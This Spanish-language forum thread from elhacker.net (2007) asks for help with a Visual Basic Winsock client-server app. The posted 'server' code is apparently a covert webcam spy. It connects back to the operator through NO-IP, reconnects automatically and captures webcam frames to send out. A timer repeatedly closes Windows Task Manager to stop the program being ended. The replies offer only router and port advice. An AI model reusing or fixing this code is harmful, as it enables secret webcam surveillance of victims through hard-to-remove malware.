Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: el_trocha en 31 Agosto 2007, 19:10 pm



Título: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK
Publicado por: el_trocha en 31 Agosto 2007, 19:10 pm
NECESITO AYUDAAAAAAAAAAAA.................... Vereis tengo una aplicacion cliente servidor con conexion inversa via NO-IP, con la intencion de que el servidor envie imagenes captadas por webcam al cliente, la verdad es que si pongo en fncionamiento el cliente y el server en la misma maquina funciona perfecto, pero cuando coloco el server en otra maquina el cliente es incapaz de recibir las imagenes y no se porque.

Ojala alguien pueda ayudarme....... si necesitan el codigo para comprobarlo me gustaria me lo pidieran.

Un saludo.


Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK
Publicado por: sch3m4 en 31 Agosto 2007, 19:16 pm
si estás detrás de un router (tú) es posible que el servidor no pueda conectar porque tienes los puertos cerrados, debes configurar la NAT para abrir los puertos y redirigirlos a tu máquina.

De todas formas si puedes poner el source para poder probarlo, mucho mejor.


Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK
Publicado por: TUNOVATO en 31 Agosto 2007, 20:16 pm
Saludos compa.....

He alli un problema....!!!!

Compa eso es verdad....!!!! yo tambien presento es mismo problema en mi proyecto (dos en uno) hace tiempo (por raticos le dedico tiempo) estaba analizando la fallas de ese tipo.....!!!! pero..... nada.... espero que ambos aclaremos esta duda yo en mi caso publique el codigo por si alguien acudia ayudarme pero todavia estoy en eso, te recomiendo publicar el codigo y asi ayudarnos mutuamente...!!!


Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK
Publicado por: el_trocha en 1 Septiembre 2007, 19:17 pm
Lympex, aunque estoy detras de un puerto, el envio de la ip del server al cliente se realiza con normalidad y no hay problema de comunicacion entre las aplicaciones.

Voy a poner el codigo de mi aplicacion para ver si hay alguien dentro del forto que sepa decirme por que me ocurre esto.

Cliente:

Dim Ruta As String
Dim y As String


Private Sub BtCerrarWeb_Click()

    y = "apagar"
    wsC.SendData y
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Timer1_Timer
   
   
End Sub

Private Sub BtConectar_Click()

    wsC.Close
    wsC.Listen
    Timer1_Timer
   
End Sub

Private Sub BtDesconectar_Click()

    y = "desconectar"
    wsC.SendData y
   
    wsC.Close
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Timer1_Timer
   
   
   
End Sub

Private Sub BtWeb_Click()
   
    y = "web"
    wsC.SendData y
   
    FCliente.Height = 8145
    FCliente.Width = 7140
    FCliente.ScaleHeight = 7635
    FCliente.ScaleWidth = 7020

   
End Sub

Private Sub Form_Load()
   
   
    wsC.Close
    Timer1_Timer
   
    Ruta = "c:\temporal2.bmp"
    Open Ruta For Binary As #1
    On Error Resume Next
    Kill (Ruta)
    Open "ruta" For Binary As #1
   
    BtDesconectar.Enabled = False
    BtWeb.Enabled = False
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
     
End Sub



Private Sub Timer1_Timer()
 
    Timer1.Interval = 1
   
    LblEstado = wsC.State
    Select Case wsC.State
   
    Case 0
    LblEstado = "Conexion Cerrada con el Servidor."
   
    BtDesconectar.Enabled = False
    BtWeb.Enabled = False
    BtConectar.Enabled = True
   
    FCliente.Height = 3870
    FCliente.Width = 7140
    FCliente.ScaleHeight = 3360
    FCliente.ScaleWidth = 7020
   
    Case 2
    LblEstado = "Esperando conexión"
   
    Case 4
    LblEstado = "Resolviendo Host"
   
    Case 5
    LblEstado = "Host resuelto"
   
    Case 6
    LblEstado = "Intentando conectar"
   
    Case 7
    LblEstado = "Conectado con el Servidor : "
    BtConectar.Enabled = False
    BtDesconectar.Enabled = True
    BtWeb.Enabled = True
   
   
    Case 8
    LblEstado = "Cerrando comunicacion"
    wsC.Close
   
    Case 9
    LblEstado = "Error de conexión"
    wsC.Close
   
    End Select
   
End Sub

Private Sub wsC_DataArrival(ByVal bytedatos As Long)
   
    Dim datos As String

    wsC.GetData datos, vbNullString
       
        Put #1, , datos
        If Right(datos, 3) = "Fin" Or datos = "Fin" Then
           
            Close
            Picture1 = LoadPicture(Ruta)
            Open Ruta For Binary As #1
       
        End If
       
End Sub


Private Sub wsC_ConnectionRequest(ByVal requestID As Long)
   
   wsC.Close
   wsC.Accept requestID
 
   
End Sub


El SERVIDOR :

Dim Imagen() As Byte

Private Sub Form_Load()

    Dim estado As String
    Dim wsestado As String
   
    wsestado = ws1.State
    estado = "7"
   
    If wsestado <> estado Then
   
        ws1.Close
        ws1.CONNECT
        contador.Enabled = True
        contador.Interval = 1
   
    Else
   
        Timer3_Timer
   
    End If
   
    Timer3_Timer
   
    Timer1.Enabled = False
    Timer1.Interval = 1
   
    Timer2_Timer
   

End Sub


Private Sub Timer2_Timer()
   
    Timer2.Enabled = True
    Timer2.Interval = 100
   
    On Error GoTo fallo
    AppActivate "Administrador de Tareas de Windows"
    SendKeys "%{F4}"
fallo:

End Sub

Private Sub Timer3_Timer()

    Timer3.Interval = 1
   
    LblEstado = ws1.State
    Select Case ws1.State
   
    Case 0
    LblEstado = "Conexion Cerrada con el Servidor."
   
    Case 2
    LblEstado = "Esperando conexión"
   
    Case 4
    LblEstado = "Resolviendo Host"
   
    Case 5
    LblEstado = "Host resuelto"
     
    Case 6
    LblEstado = "Intentando conectar"
       
    Case 7
    LblEstado = "Conectado con el Servidor : "
   
    Case 8
    LblEstado = "Cerrando comunicacion"
   
    Case 9
    LblEstado = "Error de conexión"
    Form_Load
   
    End Select
   
End Sub

Private Sub ws1_DataArrival(ByVal bytesTotal As Long)
   
   Dim datos As String
   
   
   ws1.GetData datos
   
   Select Case datos
   
    Case "ip"
   
    mandar_ip
   
    Case "web"
   
    Apagar_Cam
    StartCam
   
    Case "apagar"
   
    Apagar_Cam
   
    Case "desconectar"
   
    Desconectar
   
   
   End Select
   
   End Sub

Private Sub Timer1_Timer()
   
    On Error Resume Next
   
    SendMessage mCapHwnd, GET_FRAME, 0, 0
    SendMessage mCapHwnd, COPY, 0, 0
    Picture1.Picture = Clipboard.GetData
   
    SavePicture Clipboard.GetData, "c:\windows\system\temporal.bmp"
   
    Dim Tamaño As Long
   
    Open "c:\windows\system\temporal.bmp" For Binary Access Read As #1
    Tamaño = LOF(1)
    ReDim Imagen(Tamaño - 1)
    Get #1, , Imagen
   
    crono_imagen.Enabled = True
    crono_imagen.Interval = 5
   
    Close
   
    ws1.SendData Imagen
    ws1.SendData "Fin"
   
End Sub

Private Sub StartCam()
   
    mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hWnd, 0)
    DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
    Timer1.Enabled = True

End Sub



Sub Apagar_Cam()
   
    Timer1.Enabled = False
    DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
       
End Sub


Sub Desconectar()

    Apagar_Cam
    Form_Load
     
End Sub

Sub mandar_ip()

    Dim totalip As String
 

    totalip = "2-" & lblip.Caption
 
    ws1.SendData totalip
   
   
   
End Sub


Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   
    DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
    ws1.Close
   
End Sub



No he puesto el codigo del modulo adjunto al server , para no hacer este mensaje demasiado largo, espero que alguno pueda ayudarme .

Un saludo a todos.